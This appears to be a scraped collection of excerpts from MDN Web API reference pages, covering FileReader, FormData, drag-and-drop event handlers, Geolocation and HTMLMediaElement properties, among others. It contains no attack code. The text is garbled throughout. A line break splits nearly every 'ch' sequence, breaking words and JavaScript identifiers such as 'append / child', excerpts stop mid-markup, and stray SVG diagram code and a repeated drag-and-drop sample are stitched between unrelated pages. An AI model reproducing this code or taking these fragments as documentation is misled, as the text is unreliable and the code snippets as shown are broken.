chor="middle" alignment-baseline="middle">file</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor file() returns a newly constructed file.
... instance properties file.prototype.lastmodified read only returns the last modified time of the file, in millisecond since the unix epo
ch (january 1st, 1970 at midnight).
FileReader.readAsDataURL() - Web APIs
syntax instanceoffilereader.readasdataurl(blob); parameters blob the blob or file from whi
ch to read.
... example html <input type="file" on
change="previewfile()"><br> <img src="" height="200" alt="image preview..."> javascript function previewfile() { const preview = document.queryselector('img'); const file = document.queryselector('input[type=file]').files[0]; const reader = new filereader(); reader.addeventlistener("load", function () { // convert image file to base64 string preview.src = reader.result; }, false); if (file) { reader.readasdataurl(file); } } live result example reading multiple files html <input id="browse" type="file" on
change="previewfiles()" multiple> <div id="preview"></div> javascript function previewfiles() { var preview = document.queryselector('#preview'); var files = document.queryselector('input[type=file]').files; ...
... function readandpreview(file) { // make sure `file.name` mat
ches our extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader = new filereader(); reader.addeventlistener("load", function () { var image = new image(); image.height = 100; image.title = file.name; image.src = this.result; preview.append
child( image ); }, false); reader.readasdataurl(file); } } if (files) { [].forea
ch.call(files, readandpreview); } } note: the filereader() constructor was not supported by internet explorer for versions before 10.
FileRequest.onprogress - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... ea
ch time the function callback is called, it gets an object as its first parameter.
... example // assuming 'request' whi
ch is a filerequest object request.onprogress = function (status) { var progress = document.queryselector('progress'); progress.value = status.loaded; progress.max = status.total; } specification not part of any current specification.
FocusEvent - Web APIs
ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,mon...
...aco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/focusevent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">focusevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor focusevent() creates a focusevent event with the given parameters.
...in some cases (su
ch as when tabbing in or out a page), this property may be set to null for security reasons.
FontFaceSet - Web APIs
fontfaceset.ready read only promise whi
ch resolves once font loading and layout operations have completed.
... fontfaceset.
check() a boolean that indicates whether a font is loaded, but doesn't initiate a load when it isn't.
... fontfaceset.load() returns a promise whi
ch resolves to a list of font-faces for a requested font.
FormData() - Web APIs
syntax var formdata = new formdata(form) parameters form optional an html <form> element — when specified, the formdata object will be populated with the form's current keys/values using the name property of ea
ch element for the keys and their submitted value for the values.
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you could add a key/value pair to this using formdata.append: formdata.append('username', '
chris'); or you can specify the optional form argument when creating the formdata object, to prepopulate it with values from the specified form: <form id="myform" name="myform"> <div> <label for="username">enter name:</label> <input type="text" id="username" name="username"> </div> <div> <label for="useracc">enter account number:</label> <input type="text" id="useracc" name="useracc"> </div> <div> <label for="userfile">upload file:</label> <input type="file" id="userfile" name="userfile"> </div> <input type...
...those with a name, not disabled and
checked (radio buttons and
checkboxes) or selected (one or more options within a select).
Using FormData Objects - Web APIs
creating a formdata object from scrat
ch you can build a formdata object yourself, instantiating it then appending fields to it by calling its append() method, like this: var formdata = new formdata(); formdata.append("username", "grou
cho"); formdata.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // html file input,
chosen by user formdata.append("userfile", fileinputelement.files[0]); ...
...demo — in the javascript we reference a form: const formelem = document.queryselector('form'); in our submit event handler we use preventdefault to stop the default form submission, then invoke a formdata constructor to trigger the formdata event: formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, whi
ch fires the formdata event new formdata(formelem); }); when the formdata event fires we can access the formdata object using formdataevent.formdata, then do what we like with it (below we post it to the server using xmlhttprequest).
...stener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr let request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); note: the formdata event and formdataevent object are available in
chrome from version 77 (and other equivalent
chromiums), and firefox 72 (first available behind the dom.formdata.event.enabled pref in firefox 71).
FormData.append() - Web APIs
this can be a usvstring or blob (including subclasses su
ch as file).
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you can add key/value pairs to this using formdata.append: formdata.append('username', '
chris'); formdata.append('userpic', myfileinput.files[0], '
chris.jpg'); as with regular form data, you can append multiple values with the same name.
... for example (and being compatible with php's naming conventions by adding [] to the name): formdata.append('userpic[]', myfileinput.files[0], '
chris1.jpg'); formdata.append('userpic[]', myfileinput.files[1], '
chris2.jpg'); this te
chnique makes it simpler to process multi-file uploads because the resultant data structure is more conducive to looping.
FullscreenOptions.navigationUI - Web APIs
"auto" the browser will
choose whi
ch of the above settings to apply.
... example in this example, the entire document is placed into full-screen mode by calling requestfullscreen() on the document's document.documentelement, whi
ch is the document's root <html> element.
... let elem = document.documentelement; elem.requestfullscreen({ navigationui: "show" }).then({}).cat
ch(err => { alert(`an error occurred while trying to swit
ch into full-screen mode: ${err.message} (${err.name})`); }); the promise's resolve handler does nothing, but if the promise is rejected, an error message is displayed by calling alert().
Gamepad - Web APIs
the gamepad interface of the gamepad api defines an individual gamepad or other controller, allowing access to information su
ch as button presses, axis positions, and id.
... gamepad.index read only an integer that is auto-incremented to be unique for ea
ch device currently connected to the system.
... gamepad.hapticactuators read only an array containing gamepadhapticactuator objects, ea
ch of whi
ch represents haptic feedback hardware available on the controller.
GamepadButton - Web APIs
note: this is the case in firefox gecko 28 and later;
chrome and earlier firefox versions still return an array of double values when this property is accessed.
... properties gamepadbutton.value read only a double value used to represent the current state of analog buttons, su
ch as the triggers on many modern gamepads.
... example the following code is taken from my gamepad api button demo (you can view the demo live, and find the source code on github.) note the code fork — in
chrome navigator.getgamepads needs a webkit prefix and the button values are stored as an array of double values, whereas in firefox navigator.getgamepads doesn't need a prefix, and the button values are stored as an array of gamepadbutton objects; it is the gamepadbutton.value or gamepadbutton.pressed properties of these we need to access, depending on what type of buttons they are.
Geolocation - Web APIs
be aware that ea
ch browser has its own policies and methods for requesting this permission.
... geolocation.wat
chposition() secure context returns a long value representing the newly established callback function to be invoked whenever the device location
changes.
... geolocation.clearwat
ch() secure context removes the particular handler previously installed using wat
chposition().
GeolocationCoordinates.heading - Web APIs
the geolocationcoordinates.heading read-only property is a double representing the direction in whi
ch the device is traveling.
...zero degrees represents true true north, and the direction is determined clockwise (whi
ch means that east is 90 degrees and west is 270 degrees).
... syntax let heading = geolocationcoordinatesinstance.heading value a double representing the direction in whi
ch the device is traveling.
GeolocationCoordinates - Web APIs
the geolocationcoordinates interface represents the position and altitude of the device on earth, as well as the accuracy with whi
ch these properties are calculated.
... geolocationcoordinates.heading read only secure context returns a double representing the direction towards whi
ch the device is facing.
...0 degrees represents true north, and the direction is determined clockwise (whi
ch means that east is 90 degrees and west is 270 degrees).
GlobalEventHandlers.ondragend - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); //
change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); //
change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_han...
...dler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.append
child(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); //
change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); //
change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); //
change the target element's background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); //
change the source element's border back to green to signify a dragexit event ev.currenttarget.style.background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag ...
GlobalEventHandlers.ondragenter - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); //
change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); //
change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_han...
...dler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.append
child(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); //
change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); //
change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); //
change the target element's background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); //
change the source element's border back to green to signify a dragexit event ev.currenttarget.style.background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag ...
GlobalEventHandlers.ondragexit - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); //
change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); //
change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_han...
...dler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.append
child(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); //
change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); //
change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); //
change the target element's background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); //
change the source element's border back to green to signify a dragexit event ev.currenttarget.style.background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag ...
GlobalEventHandlers.ondragleave - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); //
change the source element's border to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); //
change the target element's background color to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_han...
...dler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.append
child(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); //
change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); //
change the source element's background color back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); //
change the target element's background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); //
change the source element's background color back to green to signify a dragexit event ev.currenttarget.style.background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this elem...
GlobalEventHandlers.oninput - Web APIs
note: unlike oninput, the on
change event handler is not necessarily called for ea
ch alteration to an element's value.
... example this example logs the number of
characters in an <input> element, every time you modify its contents.
... html <input type="text" placeholder="type something here to see its length." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.oninput = handleinput; function handleinput(e) { log.textcontent = `the field's value is ${e.target.value.length}
character(s) long.`; } result specifications specification status comment html living standardthe definition of 'oninput' in that specification.
GlobalEventHandlers.onkeypress - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeypress = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result filter keys with a regular expression this example filters the
characters typed into a form field using a regular expression.
... html <label>enter numbers only: <input> </label> javascript function numbersonly(event) { return event.
charcode === 0 || /\d/.test(string.from
charcode(event.
charcode)); } const input = document.queryselector('input'); input.onkeypress = numbersonly; // prevent pasting (since pasted content might include non-number
characters) input.onpaste = event => false; result capture the typing of a hidden word the following javascript function will do something after the user types the word "exit" in any point of a page.
...*/ (function () { const ssecret = /*
choose your hidden word...: */ "exit"; let noffset = 0; document.onkeypress = function(opevt) { let oevent = opevt || window.event, n
chr = oevent.
charcode, snodetype = oevent.target.nodename.touppercase(); if (n
chr === 0 || oevent.target.contenteditable.touppercase() === "true" || snodetype === "textarea" || snodetype === "input" && oevent.target.type.touppercase() === "text") { return true; } if (n
chr !== ssecret.
charcodeat(noffset)) { noffset = n
chr === ssecret.
charcodeat(0) ?
HTMLCanvasElement.mozGetAsFile() - Web APIs
type optional a domstring whi
ch specifies the image file format to use when creating the new image file.
...the file's data is entirely located in memory until su
ch time as it is explicitly written to disk.
...); var link = document.getelementbyid('link'); link.addeventlistener('click', copy); } function copy() { var canvas = document.getelementbyid('canvas'); var f = canvas.mozgetasfile('test.png'); var reader = new filereader(); reader.readasdataurl(f); reader.onloadend = function() { var newimg = document.createelement('img'); newimg.src = reader.result; document.body.append
child(newimg); } } window.addeventlistener('load', draw); specifications not part of any specification.
HTMLDataListElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldatalistelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="midd...
HTMLDialogElement.returnValue - Web APIs
the returnvalue property of the htmldialogelement interface gets or sets the return value for the <dialog>, usually to indicate whi
ch button the user pressed to close it.
... <menu> <button>cancel</button> <button>confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function open
check(dialog) { if (dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } function handleuserinput(returnvalue) { if (returnvalue === 'cancel' || returnvalue == null) { // user canceled the dialog, do nothing } else if (returnvalue === 'confirm') { // user
chose a favorite ani...
...mal, do something with it } } // “update details” button opens the <dialog> modally updatebutton.addeventlistener('click', function() { dialog.showmodal(); open
check(dialog); handleuserinput(dialog.returnvalue); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
HTMLDialogElement - Web APIs
vg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmldialogelement" target="_top"><rect x="1" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="86" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmldialogelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
...irm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function open
check(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); open
check(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventl...
...istener('click', function() { dialog.close('animalnot
chosen'); open
check(dialog); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
HTMLElement: animationcancel event - Web APIs
this might happen when the animation-name is
changed su
ch that the animation is removed, or when the animating node is hidden using css.
...it then sets the element's display property to none, whi
ch will trigger the animationcancel event.
...); animated.style.display = 'none'; the same, but using the onanimationcancel property instead of addeventlistener(): const animated = document.queryselector('.animated'); animated.onanimationcancel = () => { console.log('animation canceled'); }; animated.style.display = 'none'; live example html <div class="animation-example"> <div class="container"> <p class="animation">you
chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem; padding: 0.2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation...
HTMLElement.click() - Web APIs
when click() is used with supported elements (su
ch as an <input>), it fires the element's click event.
... this event then bubbles up to elements higher in the document tree (or event
chain) and fires their click events.
... syntax element.click() example simulate a mouse-click when moving the mouse pointer over a
checkbox: html <form> <input type="
checkbox" id="my
check" onmouseover="myfunction()" onclick="alert('click event occured')"> </form> javascript // on mouse-over, execute myfunction function myfunction() { document.getelementbyid("my
check").click(); } specification specification status comment html living standard living standard document object model (dom) level 2 html specification obsolete initial definition.
HTMLElement: pointercancel event - Web APIs
this may include, for example, the user swit
ching applications using an application swit
cher interface or the "home" button on a mobile device.
... the device's screen orientation is
changed while the pointer is active.
... the tou
ch-action css property prevents the input from continuing.
HTMLEmbedElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlembedelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
HTMLImageElement.hspace - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internethspace
chrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yeswebview android full support yes
chrome android full support yesfirefox android full support yesopera android ?
HTMLImageElement.vspace - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetvspace
chrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yeswebview android full support yes
chrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
HTMLInputElement.setRangeText() - Web APIs
start optional the 0-based index of the first
character to replace.
... end optional the 0-based index of the
character after the last
character to replace.
... living standard no
change html5the definition of 'htmlinputelement.setselectionrange()' in that specification.
HTMLKeygenElement - Web APIs
the <keygen> elements expose the htmlkeygenelement interface, whi
ch provides special properties and methods (beyond the regular element object interface they also have available to them by inheritance) for manipulating the layout and presentation of keygen elements.
...
challenge is a domstring that reflects the
challenge html attribute, containing a
challenge string that is packaged with the submitted key.
... methods name & arguments return description
checkvalidity() boolean always returns true because keygen objects are never candidates for constraint validation.
HTMLMediaElement.autoplay - Web APIs
note: sites whi
ch automatically play audio (or videos with an audio track) can be an unpleasant experience for users, so it should be avoided when possible.
... for a mu
ch more in-depth look at autoplay, autoplay blocking, and how to respond whena autoplay is blocked by the user's browser, see our article autoplay guide for media and web audio apis.
... living standard no
change from html5 html5the definition of 'htmlmediaelement.autoplay' in that specification.
HTMLMediaElement.controlsList - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontrolslist
chrome full support 58edge full support ≤79firefox ?
... webview android full support 58
chrome android full support 58firefox android ?
HTMLMediaElement.currentSrc - Web APIs
the htmlmediaelement.currentsrc property contains the absolute url of the
chosen media resource.
... syntax var mediaurl = audioobject.currentsrc; value a domstring object containing the absolute url of the
chosen media source; this may be an empty string if networkstate is empty; otherwise, it will be one of the resources listed by the htmlsourceelement contained within the media element, or the value or src if no <source> element is provided.
... living standard no
change from html5 html5the definition of 'htmlmediaelement.currentsrc' in that specification.
HTMLMediaElement.playbackRate - Web APIs
the htmlmediaelement.playbackrate property sets the rate at whi
ch the media is being played back.
... the pit
ch of the audio is corrected by default and is the same for every speed.
... some browsers implement the non-standard htmlmediaelement.preservespit
ch property to control this.
HTMLMediaElement.src - Web APIs
the htmlmediaelement.src property reflects the value of the html media element's src attribute, whi
ch indicates the url of a media resource to use in the element.
... note: the best way to know the url of the media resource currently in active use in this element is to look at the value of the currentsrc attribute, whi
ch also takes into account selection of a best or preferred media resource from a list provided in an htmlsourceelement (whi
ch represents a <source> element).
... living standard no
change from html5 html5the definition of 'htmlmediaelement.src' in that specification.
HTMLMenuItemElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
